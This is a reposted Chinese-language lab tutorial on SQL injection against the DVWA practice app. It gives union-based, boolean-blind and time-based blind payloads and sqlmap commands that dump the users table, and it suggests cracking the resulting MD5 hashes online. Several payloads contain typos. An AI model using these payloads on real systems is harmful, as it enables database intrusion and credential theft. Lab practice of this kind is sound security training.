SQL注入攻击实战

SQL注入概述

  所谓 SQL 注入,就是通过把 SQL 命令插入到 Web 表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的 SQL 命令。它是利用现有应用程序,将(恶意的)SQL 命令注入到后台数据库引擎执行的能力,它可以通过在 Web 表单中输入(恶意)SQL 语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行 SQL 语句。

  SQL 注入一般按照注入方式可以分为普通注入和盲注。普通注入就是注入的页面是直接显示数据库中的字段内容的,我们可以通过 SQL 注入一步一步把数据库中我们想要的内容显示在页面中。而盲注则要困难很多,页面并没有直接显示数据库字段内容,显示的可能只是一个判断结果(是或者否),页面只能告诉你你构造的 SQL 语句对还是错,你要查询的内容存在还是不存在。这种情况下,我们只能全部靠猜。更有甚者,连是否的结果都不显示,我们可能还需要通过返回数据的延迟来判断是否猜对。

  SQL 注入按照注入的数据类型还可以分为数字型注入和字符型注入。SQL 注入一般都需要利用 Web 站点现有的查询语句。当现有的查询语句 Where 筛选条件匹配的字段是数值类型,那么就是数字型注入;如果匹配的字段是字符类型,那么就是字符型注入。一般字符型注入需要构造单引号用于闭合语法,还需要加入注释符使原本的单引号无效。另外,SQL 注入按照提交参数方式,还可以分为 GET 方式注入、POST 方式注入等等。

Low级别SQL注入实战


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
常用函数:
group_concat(str) 将获取到的内容合并成一行输出
concat_ws(str1,str2…) 合并输出查询的字段
table_name 具体的数据表
column_name 字段名
information_schema 自5.7及后的MySQL版本,都有了这个库,所有的表都会记录在这个数据库下
information_schema.tables 所有的数据表
information_schema.columns 所有的数据表中的字段
table_schema 数据库的名称
where 筛选指定内容
order by 判断有多少字段
database() 查看当前使用什么数据库
version() 查看当前使用什么版本的MySQL
@@datadir 查看当前MySQL的路径
@@version_compile_os 查看操作系统版本
limit 查询其它数据库或者表,列等名称
user() 查询当前用户权限

手工注入

I.设置安全级别为Low后,点击SQL Injection进入SQL注入练习页面。首先在文本框随便输入一个ID号,发现可以返回用户信息。同时发现URL中出现了提交的参数信息,说明该页面提交方式为GET图1-1

GET从服务器上获取数据;POST是向服务器传送数据图1-1

II.在文本框输入单引号发现错误,判断存在SQL漏洞,并从报错信息中得知该站点的数据库为 MySQL图1-2image-20221031220308148图1-2

III.在文本框输入1 and 1=11 and 1=2都能返回数据,说明可能注入漏洞是字符型,如图1-3

数字型和字符型区别在于是否闭合,字符型注入需要闭合数字型注入不需要闭合图1-3

IV.寻找注入点,在文本框输入1' and 1=1#可以返回数据输入1' and 1=2#没有数据返回,说明漏洞为字符型,如图1-4图1-4

V.在文本框输入 1' order by 1# 1' order by 2#有数据返回,输入 1' order by 3#页面报错,判断字段为2个字段,如图1-5图1-5

VI.找回显点,在文本框输入1' and 1=2 union select 1,2#确认页面中First name处显示的是记录集中第一个字段,Surname处显示的是记录集中第二字段,如图1-6图1-6

VII.在文本框输入1' and 1=2 union select database(),2#原第一个字段处显示当前数据库名称为dvwa,如图1-7图1-7

VIII.在文本框输入 1' and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#原第二个字段处显示当前数据库中的所有表名。发现 guestbook 表和 users 表,users 表中极有可能是记录用户名和密码的表,如图1-8

1
注:group_concat 把查询数据放到一列中显示;where 筛选指定内容

图1-8

IX.在文本框输入 1' and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#原第二个字段处显示 users 表中的所有字段名。其中发现 user 和 password 字段,极有可能是用户名和密码字段,如图1-9图1-9

X.在文本框输入1' and 1=2 union select user,password from users#,原第一个字段和第二个字段处分别显示表中的用户名和密码,如图1-10图1-10

XI.http://www.cmd5.com/线破解MD5加密密码,即可得到密码明文,如图1-11图1-11

SQLMap 自动化注入

I. 在kali中访问DVWA,安全级别设置为Low,进入SQL注入模块,随意输入ID值,并复制当前URL地址

II.使用SQLMAP对dvwa中的sql injection模块进行注入获取靶机mysql中有哪些数据库

┌──(kali㉿kali)-[~]
└─$ sqlmap -u "http://192.168.23.110/DVWA/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=2sr6365av3asq6o21suh8h8sj5" -batch --dbs

II. 获取dvwa数据库有哪些表

┌──(kali㉿kali)-[~]
└─$ sqlmap -u "http://192.168.23.110/DVWA/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=2sr6365av3asq6o21suh8h8sj5" –batch -D dvwa –tables

III. 获取dvwa数据库users表中有哪些字段

┌──(kali㉿kali)-[~]
└─$ sqlmap -u "http://192.168.23.110/DVWA/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=2sr6365av3asq6o21suh8h8sj5" –batch -D dvwa –T users --columns

IV. 查询users表中user和password两个字段的数据。

┌──(kali㉿kali)-[~]
└─$ sqlmap -u "http://192.168.23.110/DVWA/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=2sr6365av3asq6o21suh8h8sj5" –batch -D dvwa –T users --C "user,password" --dump

SQL 盲注攻击实战

SQL盲注的分类

SQL 注入可以分为普通注入和盲注。当注入的页面无法直接显示数据内容,就只能靠盲注来猜解。盲注又可以具体分为布尔型盲注和延时型盲注。

布尔型盲注是指注入页面中没有直接显示数据内容,但会显示输出的结果对还是错,查询的数据有还是没有。比如输入的 ID 值查询到有该记录,就在页面上显示该记录存在;如果输入的 ID 值不存在,页面上就显示记录不存在,除此之外没有任何更多的信息,我们通过注入构造的任何 SQL 语句也只能返回存在或者不存在两种结果。通过返回结果的对或错来判断构造的 SQL 语句是否成立,这种盲注方式就是布尔型盲注。 

对于某些 SQL 注入页面,可能页面中任何信息都不返回,甚至连记录是否存在都不告诉你,这时布尔型盲注也就无效了。但是基于 sleep() 函数可以实现延时查询,我们可以构造一个判断语法,如果返回结果为真,则延时 5 秒再进行查询操作。那么我们就可以通过观察提交 SQL 注入语句后,页面响应是否有延时卡顿,来判断我们构造的 SQL 语句是否成立。这种盲注方式就称为延时型盲注。

1
2
3
4
5
6
7
8
9
常用函数:		
length('abcd') //获取长度函数
截取字符串:
select mid('abcdefghijklm',5,5);
select substr('abcdefghijklm',5,5);
select left('abcdefhijklm',5);
转换成ascii码:
select ord('a');
select ascii('a');

Low 级别 SQL 盲注攻击实战

布尔型盲注

One.设置安全级别为 Low,点击 SQL Injection (Blind) 按钮进入 SQL 盲注攻击模块,随便输入 ID 值,发现只返回一个结果 User ID exists in the database,告诉我们该 ID 存在,没有显示关于该 User 的任何信息。说明该页面只能通过盲注来攻击

Two.文本框中输入 1 and 1=11 and 1=2 都返回结果 exists说明不是数字型注入点

Three.在文本框中输入 1' and 1=1#返回结果 exists,输入 1' and 1=2#,返回结果 MISSING说明存在 SQL 注入漏洞,为字符型

Four.在文本框中输入 1' and length(database())=1#,返回结果 MISSING,说明当前数据库名长度大于 1 个字符

注:length(database()) //当前数据库名的长度

Five.逐个猜测数据库名字长度,直到输入 1' and length(database())=4# 时,返回结果 exists,说明当前数据库名长度为 4 字符

Six.在文本框中输入 1' and ascii(substr(database(),1,1))>97#,返回结果 exists,输入 1' and acsii(substr(database(),1,1))<122#,返回结果 exists,说明数据库名的第一位字符是小写字母。(小写字母 a 的 ASCII 码为 97,小写字母 z 的 ASCII 码为 122)。过程略

注:substr(database(),1,1) //截取数据库名称,从第一个字符开始截,一共截取1个字符
注:ascii() //取括号中的字符的 ASCII 码

Seven.

方法1通过增加数字 97 来逐步缩小范围,直到输入 1' and ascii(substr(database(),1,1))>100#,返回结果 MISSING,说明数据库名的第一个字符的 ASCII 码正好是 100,也就是小写字母 d

方法2输入1' and substr(database(),1,1)='d'#1' and ord(substr(database(),1,1))=100#判断当前数据库是第一个字母是不是d

过程略

Eight.

方法1在文本框中输入 1' and ascii(substr(database(),2,1))<119#,返回结果 exists,输入 1' and ascii(substr(database(),2,1))<118#,返回结果 MISSING,说明第二位字符是小写字母 v

方法2.输入1'and substr(database(),2,1)='v'#1'and ord(substr(database(),2,1))=118#

使用相同的方法,最终可以猜测出数据库名为 dvwa

过程略

Nine.在文本框中输入 1' and (select count(table_name) from information_schema.tables where table_schema=database())=1#,返回结果 MISSING,输入 1' and (select count(table_name) from information_schema.tables where table_schema=database())=2#,返回结果 exists,说明当前数据库中存在 2 张表

过程略

Ten.在文本框中输入 1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=1#,返回结果 MISSING,逐步增大猜测数字,直到猜测数字 9,返回结果 exists。最后得知数据库中第一张表名长度为 9 字符过程略

注:select table_name from information_schema.tables where table_schema=database() limit 0,1
//查询当前数据库中的表名,只取第 0 和第 1 条记录之间的记录,也就是查询出的第一张表名

Eleven.在文本框中输入 1' and length((select table_name from information_schema.tables where table_schema=database() limit 1,2))=1#,返回结果 MISSING,逐步增大猜测数字,直到猜测数字 5,返回结果 exists。最后得知数据库中第二张表名长度为 5 字符过程略

注:select table_name from information_schema.tables where table_schema=database() limit 1,2
//查询当前数据库中的表名,只取第 1 和第 2 条之间的记录,也就是查询出的第二张表名

Twelve.在文本框中输入 1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97#,返回结果 exists,输入 1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<122#,返回结果 exists,说明第一张表名的第一位字符为小写字母 (原理同Six)。过程略

Thirteen.

方法1逐步缩小范围,最终可确认第一张表名的第一位字符为字母 g。输入 1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))>97#,猜解第一张表名的第二位字符

方法21' and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1)='u'# //判断当前数据库的第一个表的第二个字母是不是’u’。

过程略

Fourteen.

方法1输入 1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,2),1,1))>97#,猜解第二张表名的第一位字符。重复上述步骤最终可猜解出两个表名分别为 guestbookusers

方法21' and substr((select table_name from information_schema.tables where table_schema=database() limit 1,2),1,1)='u'# //判断当前数据库的第二个表的第一个字母是不是’u’。

过程略

Fifteen.输入 1 and (select count(column_name) from information_schema.columns where table_name='users')=1 #,来猜解 users 表中的字段数量,通过不断加大猜解数字来缩小范围,最终确定字段数量

过程略

Sixteen.输入 1' and length((select column_name from information_schema.columns where table_name='users' limit 0,1))=1 #,猜解 users 表中第一个字段名的长度

过程略

Seventeen.输入 1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1)1,1))<97#,猜解表中第一个字段名的第一位字符内容,原理同上

过程略

Eighteen.最终猜解出存在 userpassword 字段,原理同上。

过程略

Nineteen.输入 1' and ascii(substr((select user from users limit 0,1),1,1))<97#,来猜解第一个用户的用户名的第一位字符内容。最终可以猜解出所有用户的用户名和密码密文,原理同上。

过程略

延时型盲注

one .在文本框输入 1' and sleep(5)#,页面响应有明显延时,输入 1 and sleep(5),页面响应迅速,说明该注入点为字符型

Two .在文本框输入 1' and if(length(database())=1,sleep(5),1)#,页面没有延时,说明 length(database())=1 结果为假,当前数据库名长度不为 1;逐步增加猜测数字,直到输入 1' and if(length(database())=4,sleep(5),1)#,页面延时,说明当前数据库名长度为 4

Three .在文本框输入 1' and if(ascii(substr(database(),1,1))>97,sleep(5),1)#,页面延时;输入 1' and if(ascii(substr(database(),1,1))<9122,sleep(5),1)#,页面没有延时,说明当前数据库名第一个字符为小写字母,原理同布尔型盲注。逐渐缩小猜解范围,页面有延时说明猜解正确,页面无延时说明猜解错误,最终可猜解出数据库名第一个字符内容为 d

判断当前数据库长度1' and not if((select length(database())=4),sleep(5),0)#

Four .后续步骤思路与布尔型盲注一致,只需要按照语法把要猜解的条件代入,再根据页面响应是否出现延时来判断构造的 SQL 注入语句是否成立,就可以逐步猜解出需要查询的数据库信息过程略

语法:1’ and if (要猜解的条件,sleep(5),1)#
//判断,如果要猜解的条件成立,则返回 sleep(5),延时 5 秒;不成立则返回数字 1



【转载文章】

【1】邓大佬-|在线文档库